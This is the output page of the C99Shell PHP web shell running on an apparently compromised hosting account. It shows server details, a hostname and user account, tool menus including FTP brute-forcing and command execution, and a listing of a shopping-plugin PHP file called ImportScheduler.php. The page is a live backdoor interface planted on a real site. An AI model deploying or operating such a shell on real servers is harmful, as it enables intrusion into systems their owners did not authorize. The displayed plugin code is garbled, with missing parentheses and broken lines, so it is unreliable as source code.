!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/Schedulers/   drwxr-xr-x
Free 292.87 GB of 429.69 GB (68.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ImportScheduler.php (4.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Import related functions and actions.
 */

namespace Automattic\Kkart\Admin\Schedulers;

defined'ABSPATH' ) || exit;

use \
Automattic\Kkart\Admin\API\Reports\Cache as ReportsCache;
use \
Automattic\Kkart\Admin\Schedulers\SchedulerTraits;

/**
 * ImportScheduler class.
 */
abstract class ImportScheduler implements ImportInterface {
    
/**
     * Import stats option name.
     */
    
const IMPORT_STATS_OPTION 'kkart_admin_import_stats';

    
/**
     * Scheduler traits.
     */
    
use SchedulerTraits {
        
get_batch_sizes as get_scheduler_batch_sizes;
    }

    
/**
     * Returns true if an import is in progress.
     *
     * @return bool
     */
    
public static function is_importing() {
        
$pending_jobs self::queue()->search(
            array(
                
'status'   => 'pending',
                
'per_page' => 1,
                
'claimed'  => false,
                
'search'   => 'import',
                
'group'    => self::$group,
            )
        );
        if ( empty( 
$pending_jobs ) ) {
            
$in_progress self::queue()->search(
                array(
                    
'status'   => 'in-progress',
                    
'per_page' => 1,
                    
'search'   => 'import',
                    
'group'    => self::$group,
                )
            );
        }

        return ! empty( 
$pending_jobs ) || ! empty( $in_progress );
    }

    
/**
     * Get batch sizes.
     *
     * @retun array
     */
    
public static function get_batch_sizes() {
        return 
array_merge(
            
self::get_scheduler_batch_sizes(),
            array(
                
'delete' => 10,
                
'import' => 25,
                
'queue'  => 100,
            )
        );

    }

    
/**
     * Get all available scheduling actions.
     * Used to determine action hook names and clear events.
     *
     * @return array
     */
    
public static function get_scheduler_actions() {
        return array(
            
'import_batch_init' => 'kkart-admin_import_batch_init_' . static::$name,
            
'import_batch'      => 'kkart-admin_import_batch_' . static::$name,
            
'delete_batch_init' => 'kkart-admin_delete_batch_init_' . static::$name,
            
'delete_batch'      => 'kkart-admin_delete_batch_' . static::$name,
            
'import'            => 'kkart-admin_import_' . static::$name,
        );
    }

    
/**
     * Queue the imports into multiple batches.
     *
     * @param integer|boolean $days Number of days to import.
     * @param boolean         $skip_existing Skip exisiting records.
     */
    
public static function import_batch_init$days$skip_existing ) {
        
$batch_size = static::get_batch_size'import' );
        
$items      = static::get_items11$days$skip_existing );

        if ( 
=== $items->total ) {
            return;
        }

        
$num_batches ceil$items->total $batch_size );

        
self::queue_batches1$num_batches'import_batch', array( $days$skip_existing ) );
    }

    
/**
     * Imports a batch of items to update.
     *
     * @param int      $batch_number Batch number to import (essentially a query page number).
     * @param int|bool $days Number of days to import.
     * @param bool     $skip_existing Skip exisiting records.
     * @return void
     */
    
public static function import_batch$batch_number$days$skip_existing ) {
        
$batch_size = static::get_batch_size'import' );

        
$properties = array(
            
'batch_number' => $batch_number,
            
'batch_size'   => $batch_size,
            
'type'         => static::$name,
        );
        
kkart_admin_record_tracks_event'import_job_start'$properties );

        
// When we are skipping already imported items, the table of items to import gets smaller in
        // every batch, so we want to always import the first page.
        
$page  $skip_existing $batch_number;
        
$items = static::get_items$batch_size$page$days$skip_existing );

        foreach ( 
$items->ids as $id ) {
            static::
import$id );
        }

        
$import_stats                              get_optionself::IMPORT_STATS_OPTION, array() );
        
$imported_count                            absint$import_stats[ static::$name ]['imported'] ) + count$items->ids );
        
$import_stats[ static::$name ]['imported'] = $imported_count;
        
update_optionself::IMPORT_STATS_OPTION$import_stats );

        
$properties['imported_count'] = $imported_count;

        
kkart_admin_record_tracks_event'import_job_complete'$properties );
    }

    
/**
     * Queue item deletion in batches.
     */
    
public static function delete_batch_init() {
        global 
$wpdb;
        
$batch_size = static::get_batch_size'delete' );
        
$count      = static::get_total_imported();

        if ( 
=== $count ) {
            return;
        }

        
$num_batches ceil$count $batch_size );

        
self::queue_batches1$num_batches'delete_batch' );
    }

    
/**
     * Delete a batch by passing the count to be deleted to the child delete method.
     *
     * @return void
     */
    
public static function delete_batch() {
        
kkart_admin_record_tracks_event'delete_import_data_job_start', array( 'type' => static::$name ) );

        
$batch_size = static::get_batch_size'delete' );
        static::
delete$batch_size );

        
ReportsCache::invalidate();

        
kkart_admin_record_tracks_event'delete_import_data_job_complete', array( 'type' => static::$name ) );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--